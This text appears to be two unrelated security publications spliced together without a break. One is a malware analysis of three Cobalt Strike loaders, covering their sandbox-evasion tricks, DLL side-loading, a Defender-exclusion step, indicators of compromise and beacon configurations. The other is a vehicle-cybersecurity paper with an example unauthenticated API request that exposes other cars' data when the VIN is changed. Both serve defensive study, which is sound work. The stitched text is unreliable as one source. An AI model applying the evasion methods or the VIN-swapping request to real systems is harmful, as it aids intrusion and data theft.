# Blowing Cobalt Strike Out of the Water With Memory Analysis **By Dominik Reichel, Esmid Idrizovic, and Bob Jung** **December 2, 2022** **Category:** Malware **Tags:** Cloud-Delivered Security Services, Cobalt Strike, Cortex XDR, Evasive Malware, KoboldLoader, LithiumLoader, MagnetLoader, memory detection, Sandbox, WildFire ## Executive Summary Unit 42 researchers examine several malware samples that incorporate Cobalt Strike components and discuss some of the ways that we catch these samples by analyzing artifacts from the deltas in process memory at key points of execution. We will also discuss the evasion tactics used by these threats and other issues that make their analysis problematic. Cobalt Strike is a clear example of the type of evasive malware that has been a thorn in the side of detection engines for many years. It is one of the most well-known adversary simulation frameworks for red team operations. However, it’s not only popular among red teams, but it is also abused by many threat actors for malicious purposes. Although the toolkit is only sold to trusted entities to conduct realistic security tests, due to source code leaks, its various components have inevitably found their way into the arsenal of malicious actors ranging from ransomware groups to state actors. Malware authors abusing Cobalt Strike even played a role in the infamous SolarWinds incident in 2020. ## Overview of Cobalt Strike The main driver for the proliferation of Cobalt Strike is that it is very good at what it does. It was designed from the ground up to help red teams armor their payloads to stay ahead of security vendors, and it regularly introduces new evasion techniques to try to maintain this edge. One of the main advantages of Cobalt Strike is that it mainly operates in memory once the initial loader is executed. This situation poses a problem for detection when the payload is statically armored, exists only in memory, and refuses to execute. This is a challenge to many security software products, as scanning memory is anything but easy. In many cases, Cobalt Strike is a natural choice for gaining an initial footprint in a targeted network. A threat actor can use a builder with numerous deployment and obfuscation options to create the final payload based on a customizable template. This payload is typically embedded into a file loader in encrypted or encoded form. When the file loader is executed by a victim, it decrypts/decodes the payload into memory and runs it. As the payload is present in memory in its original form, it can be detected easily due to some specific characteristics. As malware researchers, we often see potentially interesting malicious samples that turn out to just be loaders for Cobalt Strike. It’s also often unclear if a loader was created by a red team or a real malicious actor, thus making attribution even more challenging. In the next few sections, we’re going to take a closer look into three different Cobalt Strike loaders that were detected out of the box by a new hypervisor-based sandbox we designed to allow us to analyze artifacts in memory. Each sample loads a different implant type, namely an SMB, HTTPS, and stager beacon. We dubbed these Cobalt Strike loaders KoboldLoader, MagnetLoader, and LithiumLoader. We will also discuss some of the methods we can use to detect these payloads. ## KoboldLoader SMB Beacon The sample we’re looking at was detected during a customer incident. **SHA256:** 7ccf0bbd0350e7dbe91706279d1a7704fe72dcec74257d4dc35852fcc65ba292 This 64-bit KoboldLoader executable uses various known tricks to try to bypass sandboxes and to make the analysis process more time-consuming. To bypass sandboxes that hook only high-level user mode functions, it solely calls native API functions. To make the analyst's life harder, it dynamically resolves the functions by hash instead of using plain text strings. The malware contains code to call the following functions: - NtCreateSection - NtMapViewOfSection - NtCreateFile (unused) - NtAllocateVirtualMemory (unused) - RtlCreateProcessParameters - RtlCreateUserProcess - RtlCreateUserThread - RtlExitUserProcess The malware creates two separate tables of function hash/address pairs. One table contains one pair for all native functions, while the second table only pairs for Nt* functions. For the Rtl* functions that were used, it loops through the first table and searches for the function hash to get the function address. For the Nt* functions that were used, it loops through the second table and simultaneously increases a counter variable. When the hash is found, it takes the counter value that is the system call number of the corresponding native function and enters a custom syscall stub. This effectively bypasses many sandboxes, even if the lower-level native functions are hooked instead of the high-level ones. The overall loader functionality is relatively simple and uses mapping injection to run the payload. It spawns a child process of the Windows tool sethc.exe, creates a new section, and maps the decrypted Cobalt Strike beacon loader into it. The final execution of the Cobalt Strike loader that in turn loads an SMB beacon happens by calling RtlCreateUserThread. You can find the decrypted beacon configuration data in the Appendix section. ## In-Memory Evasion With our new hypervisor-based sandbox, we were able to detect the decrypted Cobalt Strike SMB beacon in memory. This beacon loader even uses some in-memory evasion features that create a strange sort of chimeric file. While it’s actually a DLL, the “MZ” magic PE bytes and subsequent DOS header are overwritten with a small loader shellcode. The shellcode loader jumps to the exported function DllCanUnloadNow, which prepares the SMB beacon module in memory. To do this, it first loads the Windows pla.dll library and zeroes out a chunk of bytes inside its code section (.text). It then writes the beacon file into this blob and fixes the import address table, thus creating an executable memory module. During the analysis of the file, we could figure out some of the in-memory evasion features that were used. | Evasion Feature | Description | Used in our sample | |-----------------|-------------|--------------------| | allocator | Set how beacon's ReflectiveLoader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc. | No | | cleanup | Ask beacon to attempt to free memory associated with the reflective DLL package that initialized it. | Yes | | magic_mz_x64 | Override the first bytes (MZ header included) of beacon's reflective DLL. Valid x86 instructions are required. Follow instructions that change CPU state with instructions that undo the change. | Yes | | magic_pe | Override the PE character marker used by beacon's ReflectiveLoader with another value. | No | | module_x64 | Ask the x86 reflective loader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc. | Yes | | obfuscate | Obfuscate the reflective DLL’s import table, overwrite unused header content, and ask ReflectiveLoader to copy beacon to new memory without its DLL headers. | Yes | | sleep_mask | Obfuscate beacon and its heap, in-memory, prior to sleeping. | No | | smartinject | Use embedded function pointer hints to bootstrap beacon agent without walking kernel32 Export Address Table (EAT). | No | | stomppe | Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads beacon payload. | No | | userwx | Ask ReflectiveLoader to use or avoid read, write or execute (RWX) permissions for Beacon DLL in memory. | No | To sum up, the beacon loader and the beacon itself are the same file. Parts of the PE header are used for a shellcode that jumps to an exported function, which in turn creates a module of itself inside a Windows DLL. Finally, the shellcode jumps to the entry point of the beacon module to execute it in memory. As discussed, there is no way for us to detect this beacon of our KoboldLoader sample successfully unless we can peer inside memory during execution. ## MagnetLoader The second loader we will look into is a 64-bit DLL that imitates a legitimate library. **SHA256:** 6c328aa7e0903702358de31a388026652e82920109e7d34bb25acdc88f07a5e0 This MagnetLoader sample tries to look like the Windows file mscms.dll in a few ways, by using the following similar features: - The same file description - An export table with many of the same function names - Almost identical resources - A very similar mutex These features are also shown in the comparison of the malware file with the valid mscml.dll. MagnetLoader not only tries to mimic the legitimate Windows library statically, but also at runtime. All of the exported functions of MagnetLoader internally call the same main malware routine. When one of them is called, the DLL entry point is run first. In the entry point, the malware loads the original mscms.dll and resolves all the functions it fakes. The addresses of these original functions are stored and called after a fake method is executed. Thus, whenever an exported function of MagnetLoader is called, it runs the main malware routine and afterward calls the original function in mscms.dll. The main malware routine is relatively simple. It first creates a mutex named SM0:220:304:WilStaging_02_p1h that looks very similar to the original one created by mscms.dll. The Cobalt Strike beacon loader gets decrypted into a memory buffer and executed with the help of a known trick. Instead of calling the beacon loader directly, the loader uses the Windows API function EnumChildWindows to run it. This function contains three parameters, one of which is a callback function. This parameter can be abused by malware to indirectly call an address via the callback function and thus conceal the execution flow. You can also find the decrypted beacon configuration data in the Appendix section. ## LithiumLoader This last Cobalt Strike sample is part of a DLL side-loading chain where a custom installer for a type of security software was used. DLL side-loading is a technique that hijacks a legitimate application to run a separate, malicious DLL. **SHA256:** 8129bd45466c2676b248c08bb0efcd9ccc8b684abf3435e290fcf4739c0a439f This 32-bit LithiumLoader DLL is part of a custom attacker-created Fortinet VPN installation package submitted to VirusTotal as FortiClientVPN_windows.exe (SHA256: a1239c93d43d657056e60f6694a73d9ae0fb304cb6c1b47ee2b38376ec21c786). The FortiVPN.exe file is not malicious or compromised. Because the file is signed, attackers used it to evade antivirus detection. The installer is a self-extracting RAR archive that contains the following files: | File name | Description | |-----------|-------------| | FortiVPN.exe | Legit signed FortiClient VPN Online installer v7.0.1.83 | | GUP.exe | Legit signed WinGup for Notepad++ tool v5.2.1.0 | | gup.xml | WinGup config file | | libcurl.dll | LithiumLoader | When the installer is run, all files get silently dropped to the local %AppData% folder and both executable files get started. While the FortiClient VPN installer executes, the WinGup tool side-loads the libcurl.dll LithiumLoader malware. The malware does so because it imports the following functions from a legit copy of the libcurl library. This threat also tries to add the %AppData% folder path to the exclusion list in Windows Defender via PowerShell. On the startup of GUP.exe, the malicious libcurl.dll file is loaded into the process space as it statically imports the functions shown above. While all four libcurl functions are run, only curl_easy_cleanup contains a malicious routine that was injected while compiling a new version of the library. Thus, we’re not dealing with a patched version of the legitimate DLL. This is a cleaner solution that doesn’t break the code after the inserted malicious routine, as is often seen in other malware. The load_shellcode function decrypts the shellcode via XOR and key 0xA. This function runs the Cobalt Strike stager shellcode indirectly via EnumSystemGeoID instead of directly jumping to it. This Windows API function has three parameters, the last one of which is a callback function abused by LithiumLoader. The Cobalt Strike stager shellcode is borrowed from Metasploit and is the reverse HTTP shell payload, which uses the following API functions: - LoadLibrary - InternetOpenA - InternetConnectA - HttpOpenRequestA - InternetSetOptionA - HttpSendRequestA - GetDesktopWindow - InternetErrorDlg - VirtualAllocStub - InternetReadFile The shellcode connects to the IP address of a university in Thailand. ## LithiumLoader Detection Issues At the time of writing this analysis, the Cobalt Strike beacon payload was no longer available. Without a payload or any actionable information in the execution report of API calls, it’s often challenging for a sandbox to determine whether the sample is malicious. This sample doesn’t have any functionality that can be classified as malicious per se. ## Catching Cobalt Strike Through Analyzing Its Memory In all three of these examples, there are some common detection challenges. These samples do not execute in normal sandbox environments. But as we discussed, there is a wealth of information that we can use for detection if we look inside memory during execution, like function pointers, decoded stages of the loader, and other artifacts. For many years now, it has been standard practice for sandbox systems to instrument and observe the activity of executing programs. If our team has learned anything over the years, it’s that this alone is not enough for highly evasive malware. This is why we’ve been working hard the past few years on figuring out how we can add more thorough processing for this type of highly evasive malware. For accurate detection, one of the key features we’ve found to address highly evasive malware is that we need to look at memory as samples execute in addition to using the system API to get a better understanding of what’s happening. We’ve found that, in malware detection, it’s useful to look at the deltas in memory at key points of execution to extract meaningful information and artifacts. As our system processes a vast number of samples, there have been a lot of challenges to make this work at scale. However, a lot of clever engineering built on top of our flagship custom hypervisor tailored for malware analysis has helped make this idea a reality. In these next few sections, we will detail some of the main types of data that we are currently collecting from memory to aid detection. This data can be utilized by both our analysts for manual signatures as well as machine learning pipelines, which we’ll be discussing in a future post. Although we are focusing on memory here, we are by no means suggesting that instrumenting and logging API calls are not useful for detection. Our belief is that bringing execution logs and memory analysis data together creates a sum greater than its parts. ## Automatic Payload Extraction As previously discussed, it is increasingly common for malware authors to obfuscate their initial payloads. While using executable packers that can compress and obfuscate files to accomplish this is nothing new, it becomes problematic when it’s used in combination with evasion strategies, because there is no static or dynamic data that’s useful for accurate detection. There are infinite combinations of strategies for encoding, compressing, encrypting, or downloading additional stages for execution. The ability to craft signatures for these payloads is obviously an important way that our analysts can catch lots of different malware components from frameworks like Cobalt Strike. If we can catch them in memory, it ultimately doesn’t matter if the malware decides not to execute. The following simplified diagram shows an example of what we might see in a couple of stages that were never present in the initial executable file. On the left side of the diagram, we see an example of a shellcode stage. Although the term “shellcode” was originally coined for hand-crafted assembly utilized in exploits to pop a shell on a target system, the word has evolved to encompass any blobs of custom assembly written for nefarious purposes. Some malware stages are blobs of custom assembly with no discernable executable structure. A common pattern for malware authors taking this approach is to dynamically resolve all of the function pointers into a table for ease of access. On the right side of the diagram, we see that the later stage is an example of a well-formed executable. Some malware stages or payloads are well-formed executables. These can be loaded by the OS via the system API, or the malware author might use their own PE loader if they’re trying to be stealthy in avoiding calling any APIs to do this for them. ## Function Pointer Data Another rich set of data we can pull from memory that we’ve begun to use for detection is dynamically resolved function pointers. Malware authors learned long ago that if they explicitly call out all of the WINAPI functions they plan to use in the import table, it can be used against them. It is now standard practice to hide the functions that will be used by the malware or any of its stages. Shellcode hashing is another common stealthy strategy used to resolve pointers for functions without needing their string. In Advanced WildFire, we have begun to selectively search for and use this information about which WINAPI function pointers were resolved in our detection logic. ## OS Structure Modifications Another useful source of detection data we’ve found from analyzing memory is to look for any changes to Windows bookkeeping structures. These structures are important for the OS to maintain state about the process, such as what libraries have been loaded, where the executable image was loaded, and various other characteristics about the process that the OS might need to know later. Given that many of these fields should never be modified, it’s often useful to keep track of when and how malware samples are manipulating them. The diagram shows how a sample might unhook a module it loaded from the LDR Module list. Unhooking a module would mean that there is no longer a record that the module exists. So, for example, after doing this, the Task Manager in Windows would no longer list it. This diagram represents only one of many different OS Structure modifications we’ve seen, but it shows that there are many different types of OS structure modifications that are useful for the malware detection problem. ## Page Permissions Finally, another useful source of detection data is a full log of all changes made to page permissions. Authors of packed malware often need to change memory permissions in order to properly load and execute further stages. Understanding which pages of memory had their permissions changed often provides important insights into where code was loaded and executed, which can be useful for detection. ## Conclusion Although Cobalt Strike has been around for some years, detecting it is still a challenge to many security software providers. That is because this tool works mostly in memory and doesn’t touch the disk much, other than with the initial loader. We’ve looked into three new loaders and showed how they can be detected using a variety of techniques. These detection techniques are available within our new hypervisor-based sandbox. ## Indicators of Compromise **KoboldLoader** 7ccf0bbd0350e7dbe91706279d1a7704fe72dcec74257d4dc35852fcc65ba292 6ffedd98d36f7c16cdab51866093960fe387fe6fd47e4e3848e721fd42e11221 fc4b842b4f6a87df3292e8634eefc935657edf78021b79f9763548c74a4d62b8 062aad51906b7b9f6e8f38feea00ee319de0a542a3902840a7d1ded459b28b8d a221c7f70652f4cc2c76c2f475f40e9384a749acd1f0dbaefd1a0c5eb95598d2 **MagnetLoader** 6c328aa7e0903702358de31a388026652e82920109e7d34bb25acdc88f07a5e0 **LithiumLoader** 8129bd45466c2676b248c08bb0efcd9ccc8b684abf3435e290fcf4739c0a439f 82dcf67dc5d3960f94c203d4f62a37af7066be6a4851ec2b07528d5f0230a355 **LithiumLoader Installer** a1239c93d43d657056e60f6694a73d9ae0fb304cb6c1b47ee2b38376ec21c786 cbaf79fb116bf2e529dd35cf1d396aa44cb6fcfa6d8082356f7d384594155596 ## Appendix **KoboldLoader beacon configuration data:** - BeaconType: SMB - Port: 4444 - SleepTime: 10000 - MaxGetSize: 1048576 - Jitter: 0 - MaxDNS: 0 - PublicKey_MD5: 633dc5c9b3e859b56af5edf71a178590 - PipeName: \\.\pipe\servicepipe.zo9keez4weechei8johR.0521cc13 - Spawnto_x86: %windir%\syswow64\dfrgui.exe - Spawnto_x64: %windir%\sysnative\dfrgui.exe - bStageCleanup: True - bCFGCaution: True - KillDate: 0 - bProcInject_StartRWX: True - bProcInject_UseRWX: False - bProcInject_MinAllocSize: 35485 **MagnetLoader beacon configuration data:** - BeaconType: HTTPS - Port: 443 - SleepTime: 3600000 - MaxGetSize: 1402498 - Jitter: 70 - PublicKey_MD5: 965fe5c869f3eea5e211fa7ee12130d3 - HttpGet_Verb: GET - HttpPost_Verb: POST - Spawnto_x86: %windir%\syswow64\conhost.exe - Spawnto_x64: %windir%\sysnative\conhost.exe - bStageCleanup: True - bCFGCaution: False - KillDate: 0 - bProcInject_StartRWX: False - bProcInject_UseRWX: False - bProcInject_MinAllocSize: 17500 To decrypt the configuration data we used SentinelOne’s Cobalt Strike Parser.
# Commonalities in Vehicle Vulnerabilities **Corey Thuen** Senior Security Consultant IOActive ## Abstract With the Connected Car becoming commonplace in the market, vehicle cybersecurity grows more important by the year. At the forefront of this growing area of security research, IOActive has amassed real-world vulnerability data illustrating the general issues and potential solutions to the cybersecurity issues facing today’s vehicles. This paper explains the differences in testing methodologies, with recommendations on the most appropriate methods for testing connected vehicle systems. Detailed findings follow, including the impact, likelihood, overall risk, and remediation of vulnerabilities IOActive consultants have discovered over the course of thousands of testing hours. The paper concludes with a recommendation for an “ounce of prevention” that may ensure more secure vehicle systems in the future. ## Introduction This paper provides a metadata analysis of the multitude of private vehicle security assessments IOActive has conducted, also incorporating other publicly available research to provide an informative picture of the vulnerabilities that researchers are uncovering, the specific systems and attack vectors most prevalently affected, and the real-world significance of these vulnerabilities. This data is extremely useful for organizations considering cybersecurity strategy and planning. Vehicle cybersecurity has become a focused and growing area of security research for IOActive. In 2013, the company conducted about 2,000 hours of combined research and services in the vehicle cybersecurity space, doubling to 4,000 in 2014 and spiking to 10,000 hours in 2015, and we anticipate that number continuing to grow going forward. This experience puts IOActive’s Vehicle Cybersecurity Division in a unique position to provide valuable insight into common struggles, failures, and solutions facing the automotive and related transportation and components industries. This research uses hard data taken from vulnerability assessments of real-world vehicle systems. We have conducted enough of these assessments to properly anonymize the sources of this information and extract the valuable “big-picture” aspects. First, in order to make use of the data we must establish a foundation of cybersecurity terminology and comprehension. We will discuss threat modeling, attack vectors, and attacker methodologies in order to explain how we discovered these vulnerabilities. Second, we will cover categorization and walk through a vulnerability evaluation. Finally, we will look at the data itself and answer some key questions: - What kind of vulnerabilities most commonly affect the Connected Car? - What attack vectors are most commonly used to compromise a vehicle? - What percentage of vulnerabilities would defense product XYZ mitigate? - How do automotive and component manufacturers best manage their limited cybersecurity resources to maximize effectiveness? ## Threat Modeling the Connected Car Understanding the attack surfaces of the connected car is an important first step. This means noting the possible ways to attack a target, which might be the entire vehicle or just a component therein. A threat model does not focus on attack methods, but rather looks at possible attack vectors. ### Holistic Model For a holistic threat model of the Connected Car, we are interested in looking at how data can enter the vehicle, and what the potential impact to the vehicle is if a given vulnerability is exploited. These boundaries are where an attacker will focus their efforts, and therefore where defense efforts should be prioritized. Data can enter vehicles in a variety of ways, including: - Cellular Radio - Wi-Fi Radio (802.11p) - Bluetooth - OBD II - Infotainment Media - Telematics (e.g., TPMS) ### Component Model Threat modeling is also quite effective at the system or component level. For example, a threat model of an infotainment unit will include inputs from any media inserted, such as Bluetooth pairing with smartphones, physical media access via USB, and possibly cellular data communications. The threat model aids in organizing the overall development effort. For example, time spent searching an entire code base for buffer overflow vulnerabilities may not be as effective as focusing on code that interacts with higher-risk attack vectors, such as Wi-Fi. ## Test Methodologies Cybersecurity researchers will vary their testing methodologies depending on the component being analyzed, but most testing falls under two categories: black box and white box. Black box testing is so named because the researcher is given no foreknowledge or insight into how a system operates. The researcher takes the role of an attacker who must evaluate the system, discover how it works, and attempt to find and exploit vulnerabilities. This usually involves dynamic testing utilizing protocol fuzzing, hardware analysis, chip desoldering, observation of serial bus lines, capturing firmware updates, and other methods. White box (which is often actually grey box - somewhere in between true black box and white box) testing is so named because the researcher works with the product developer to evaluate the system. The developer will often provide code or a debug testing harness. The methods and “attacker mindset” approach used in white/grey box testing by IOActive are similar to black box testing, but may also include code analysis, protocol specifications, and design review. In general, white box testing has provided the best ROI to clients and most of the useful data for this paper. This is because greater insight into a system makes for more meaningful bug reports and more accurate assessments of impact that can be better aligned to the specific business risks of the client. ## Categorizing Vulnerabilities To provide a meaningful, quantitative analysis of its findings, IOActive uses an impact-versus-likelihood approach to scoring. For each individual finding, the assessment team assigns two ratings, one for impact and another for likelihood; that is, the likelihood the given vulnerability will be exploited. Each vulnerability is then assigned a rating of Critical, High, Medium, Low, or Informational, with corresponding numeric scores ranging from 5 (Critical) to 1 (Informational). ### Table 1 – Vulnerability rating system | Rating (Score) | Impact | Likelihood | |----------------|--------|------------| | Critical (5) | Extreme impact to vehicle if exploited. Would receive media attention. | Vulnerability is almost certain to be exploited. Knowledge of the vulnerability and its exploitation are in the public domain. | | High (4) | Major impact to vehicle if exploited. Could be a regulatory violation. | Vulnerability is relatively easy to detect and exploit by an attacker with little skill. | | Medium (3) | Noticeable impact to vehicle if exploited. | An expert attacker could exploit the vulnerability without much difficulty. | | Low (2) | Minor impact if exploited, or could be used in conjunction with other vulnerabilities to perform a more serious attack. | Exploiting the vulnerability would require considerable expertise and resources. | | Informational (1) | Poor programming practice or poor design decision that may not represent an immediate risk on its own, but may have security implications if multiplied and/or combined with other vulnerabilities. | Vulnerability is not likely to be exploited on its own, but may be used to gain information for launching another attack. | IOActive assigns aggregate risk scores to identified vulnerabilities; specifically, the impact score multiplied by the likelihood score. For example, a vulnerability with high likelihood and low impact would have an aggregate risk score of eight (8); that is, four (4) for high likelihood multiplied by two (2) for low impact. The Aggregate Risk Score determines the finding's Overall Risk Level. ### Table 2 - Overall Risk Levels and corresponding Aggregate Risk Scores | Overall Risk Level | Aggregate Risk Score (Impact multiplied by Likelihood) | |--------------------|---------------------------------------------------------| | Critical | 20–25 | | High | 12–19 | | Medium | 6–11 | | Low | 2–5 | | Informational | 1 | The Common Vulnerability Scoring System (CVSS) has proven effective for other organizations, but experience has taught us that a simpler and more relatable scoring metric facilitates better understanding of overall vulnerability. CVSS does have scoring parameters that are useful for the type of meta-analysis performed for this paper, but the research goes beyond CVSS parameters to evaluate other aspects of a vulnerability. In order to further categorize vulnerabilities in a meaningful way, IOActive collected additional data for each vulnerability finding. For instance, testers gathered data relating a vulnerability to a particular attack vector, a given methodology, or type (e.g., buffer overflow, authentication issue, etc.). ### Example Categorization A recent high-profile example effectively illustrates how a vulnerability is evaluated. A vehicle manufacturer released a companion smartphone app to interface with the vehicle, enabling users to control climate settings and view fuel status, among a myriad of other capabilities. The application itself requested association with a user account, requiring the user to log in before using the app. This example vulnerability shows that HTTPS requests made to the backend servers from the app did not contain any user authentication information. The application made a request to get battery status (example, fictitious URL): ``` GET https://host/BatteryStatus.php?VIN=JNFAAZE0U60XXXXX ``` This request did not contain any session parameters or use Authentication Headers. The server returns a JSON response. By changing the VIN, an attacker can gain access to information about any vehicle that sends data to the backend servers, without authentication. Further, using the app to turn climate control on and off issues requests with similar parameters to the URLs: ``` /orchestration_example/ACRemoteRequest.php?XXX /orchestration_example/ACRemoteOffRequest.php?XXX ``` We are looking at a vulnerability that is remote, unauthenticated, low-skill, capable of controlling or changing a process or system, and automatable. ### Table 3 – Vulnerability report table | CATEGORY | VALUE | |---------------------------|-------| | IMPACT | Critical (4.5). Media attention. API servers can affect all vehicles. | | LIKELIHOOD | Critical (5). Almost certain to be exploited. Very low skill required. Easily discoverable. | | ACCESS VECTOR | Network | | ACCESS COMPLEXITY | Low | | AUTHENTICATION | None | | IMPACT: CONFIDENTIALITY | Complete | | IMPACT: INTEGRITY | Partial | | IMPACT: AVAILABILITY | None | | LABELS | Telematics, Web API, App, Insecure By Design | | EXPLOIT DELIVERY MEDIA | Web | | TOOLS USED | burp | | VULNERABILITY | Unauthenticated API | | IMPACT: VEHICLE | Secondary system loss of control, multiple vehicles compromised | | TESTING METHOD | Black Box | | TEMPORARY REMEDIATION | Easy (0). Disable API immediately. | | REMEDIATION: DISSEMINATION | Medium (3). Prod server update to remediate the issue but a new app required to use new server API. | | REMEDIATION: COMPLEXITY | Medium (3). Proper security of web API requires authentication/session information and CSRF tokens (if a web interface exists). | | REMEDIATION: TIMELINE | Medium (3) | | EXPLOIT AUTOMATABILITY | Easy (5) | ## Common Vulnerabilities and Analysis With this understanding of how we find and classify vulnerabilities we can look at the raw data. We evaluate the data organized by: - Type - Severity - Attack Vector - Methodology - Remediation Difficulty - Vehicle Impact ### Impact Looking at the impact level across all vulnerabilities, we see that half are Critical or High impact. This means half of the vulnerabilities result in a compromise of components, communications, or data that causes complete or partial loss of control over the system. Business impact, such as regulatory violation fees or negative media attention, is also factored into the generic Impact score. ![Vulnerabilities by Impact](#) ### Likelihood The second generic vulnerability category is Likelihood. Here we see the largest classification is Medium, meaning “an expert attacker could exploit the vulnerability without much difficulty.” The nature of embedded systems security causes a barrier to entry for attackers. The customized nature of each system makes developing attack tools difficult. However, in time, more vulnerabilities will shift toward the Critical value as more vehicle tools are released to the public and embedded security becomes more accessible to a would-be attacker. ### Overall Risk Level Combining the previous two data segments gives us an Overall Risk Level, a general quick look at vulnerability severity. 22% of all vulnerabilities sit in the Critical range. These are the high-priority "hair on fire" vulnerabilities that are easily discovered and exploited and can cause major impacts to the system or component. These vulnerabilities should drive cybersecurity resource allocation and spending. ### Attack Vector The Attack Vector is a useful data set to compare against the threat model for a given component or system. The attack surface and trust boundaries should be considered during the design phase of a system. Every decision that increases the attack surface provides new opportunities for an attacker and should be evaluated accordingly for risk. Within our vulnerability set, 39% of vulnerabilities are related to the network. This is a general category that includes all network traffic, such as Ethernet or web. However, cellular network and CANBus vulnerabilities appear in separate categories, representing 16% and 10% (respectively) of the attack vectors for vulnerabilities found. The local attack vector requires an attacker to be on the system and obtain privilege escalation. At first this may seem like an inconsequential or unlikely attack vector, but after considering the availability of app stores and third-party software modules, this attack vector is just as significant as network-based attacks. USB and serial attack vectors require an attacker to be physically present at the system or otherwise chain an attack. For example, malware on a desktop system may deploy a payload to a USB storage device, which the unsuspecting user then delivers to the vehicle. These attack vectors generally coincide with a lower likelihood of vulnerability. ### Top Eight Vulnerabilities Vulnerabilities related to system design occupy four of the top eight vulnerability types. Vendor-introduced backdoors, incorrect utilization of the principle of least privilege, authentication systems requiring hardcoded credentials, and accidental information disclosure are all products of the system design process. Engineering problems are the root cause of three of the top eight vulnerability types. Coding logic errors, such as format strings, buffer overflows, and integer overflows, account for the most vulnerabilities, with buffer overflows the most common sub-type. Additionally, web vulnerability implementation problems fall under this category, which are generally High to Critical risk due to widely available attacker tools and knowledge base. Problems in deployment mechanisms and testing cause vulnerabilities in the Vulnerable Dependency and Backdoor categories. The Vulnerable Dependency category stems from technical and cultural issues. It is extremely common for embedded systems to use outdated libraries simply because it is hard enough to get a system to work in the first place, let alone introduce changes that could cause further issues by updating a dependency. Further, updating embedded systems is non-trivial, so a discovered vulnerability in one of these dependencies is likely to be a fruitful vector for attackers for much longer than in the general realm of IT systems. Backdoors, information disclosure, and hardcoded credentials also stem from issues in the deployment process. Production systems should not include developer debug interfaces or other information that enables attackers. Security-aware deployment procedures and testing are necessary to verify removal of these interfaces from production systems. ### Critical Impact Remediation To create this chart, we took all vulnerabilities with a Critical impact score and made a "remediation complexity" estimate to evaluate the difficulty of fixing a specific vulnerability. For example, patching code to remove a buffer overflow is relatively easy. Interestingly, an overwhelming majority of Critical impact vulnerabilities can be remediated with relatively simple fixes. However, vulnerabilities stemming from design-level issues occupy the Medium and High remediation complexity categories. These can be extremely difficult, if not impossible, to remediate after the design phase, which results in a system that is "insecure by design" and can never really be remediated. Some design issues do fall in the Low category as a result of not following industry best practices that are widely published with how-to guides (e.g., the use of CSRF tokens to prevent web application CSRF attacks). ### Testing Method The Testing Method chart below is useful when considering how to proceed with a vulnerability assessment. It includes normalized data on Overall Risk Level for vulnerabilities, broken down by the testing method used when the vulnerabilities were discovered. IOActive generally conducts assessments in a black or white box format wherein the client will either share (white box) or not share (black box) data, code, or other information. The usual motivation for a black box test is to evaluate what a "real-world attacker" would see or do, but in reality the assessment rarely plays out as intended. Real attackers are not limited in scope or timeline when attacking a system. During such an assessment, more time is required by researchers to discover and evaluate how to use a system and develop the harnesses or methodologies required for testing. This limits the time remaining for the testing itself. Conversely, in a white box test, researchers have more information about the system, giving them three advantages: 1. Researchers can spend less time figuring out how a system works and more time discovering vulnerabilities. 2. Researchers are better able to evaluate the impact and likelihood levels for any vulnerabilities that are discovered. 3. Researchers can provide insight and assistance in areas of the system that may not be directly attackable but might be accessible in the future or by chaining another vulnerability. Generally, these insights fall into the Informational Overall Risk Level. In summary: white box testing is the most effective at identifying high priority bugs and improving the development process. ### Impact on Vehicle An important point to consider when reviewing this vulnerability data is the actual impact on the vehicle or fleet. Starting from the benign, 17% of vulnerabilities evaluated had zero impact on the vehicle itself. These might be vulnerabilities in unrelated backend systems or other components that are tangentially connected to the vehicle system being evaluated. Attacker-enabling impact (9%) encompasses those vulnerabilities that provide attackers with additional information or attack chains they can use to gain access or target another vulnerability. Similarly, indirect impact is a secondary consequence of an attack against a vehicle. For example, compromise of a telematics backend might allow an attacker to then communicate with the vehicle and gain an additional direct attack vector against the vehicle. Vehicle telematics communications are affected in 24% of vulnerabilities. This might occur directly on the component, in transit over a cellular or other network, or on the backend systems that gather and utilize the data. More significantly, 27% of vulnerabilities can be used to gain CANBus Access. This is important when considering the increasing body of public research showing that an attacker on the CANBus can control the vehicle. Actual ECU control is gained in 8% of the vulnerabilities IOActive evaluated, while 1% of vulnerabilities disable the ECU without gaining actual control. Compromised ECUs may allow the attacker to control all of their normal functionality, add further functionality, or otherwise result in complete compromise of the vehicle component in a manner that may be extremely difficult to detect. ## Defenses and Effectiveness As part of the assessment process, IOActive provides recommendations to the customer for vulnerability remediation. This might include re-working of code, replacement or removal of a feature or component, the purchase and implementation of a defensive tool or product, or other techniques depending on the nature and impact of the vulnerability. In the assessments analyzed for this research, no defensive products were tested. This is likely a result of the relative infancy of automotive cybersecurity products, as well as a general tendency of defensive cybersecurity products to not undergo third-party testing. Organizations can improve this deficiency by including testing requirements in any procurement language for such products. This has become commonplace in other industries, such as the Industrial Control System space, where manufacturers must deliver security reports alongside products that are to be integrated into production systems. ### Ounce of Prevention In conducting this research, we evaluated an "Ounce of Prevention" measure to best determine what techniques, policies, or methodologies might have prevented a vulnerability from existing in the first place. The largest category in our analysis is Industry Best Practices. An increasing number of security best practices publications are made available every year. The Auto-ISAC, Microsoft, OWASP, ARM, and others publish best-practice documents to help software and hardware developers create secure systems. Utilizing this information could result in up to a 45% decrease in vulnerabilities across the board. Authentication design may fall under industry best practices, but becomes its own category due to its prevalence and the more unique nature of some of the components evaluated. Authentication mechanisms may be difficult to change after a system is deployed and thus should be thoroughly evaluated during system design. Similarly, secure coding practices could help to prevent 11% of vulnerabilities. Simple steps, such as including Microsoft’s “banned.h“ to avoid using insecure coding patterns like strcpy(), help to improve overall code security (and consequently overall quality) of any system. The most difficult category to judge with certainty is Code Review and Testing. Catching coding logic errors can be extremely difficult, but following modern software development principles such as test-driven development can do wonders for improving a code base and hardening against unexpected behavior and bugs. A smaller number of issues stem from poor deployment procedures or patch management. Shipping a production system with enabled backdoors (a.k.a. "debug features") is preventable with a proper deployment procedure and verification. Similarly, shipping products with vulnerable dependencies or a difficult update mechanism further increases the risk for attack. In evaluating the past few years of vulnerabilities, the old adage rings truer than ever: an ounce of prevention is worth a pound of cure. Incorporating industry best practices and a secure development lifecycle is crucial to avoiding pitfalls that, frankly, have been a non-issue in other industries for years. Using modern design principles improves the ability to patch and maintain a codebase, and improves overall code quality. ## Conclusion The majority of vehicle cybersecurity vulnerabilities are not solvable using “bolt-on” solutions, instead relying on sound engineering, software development practices, and cybersecurity best practices. The most effective cybersecurity work occurs during the planning, design and early implementation phases of products, with the difficulty and cost of remediation increasing in correlation with product age and complexity. 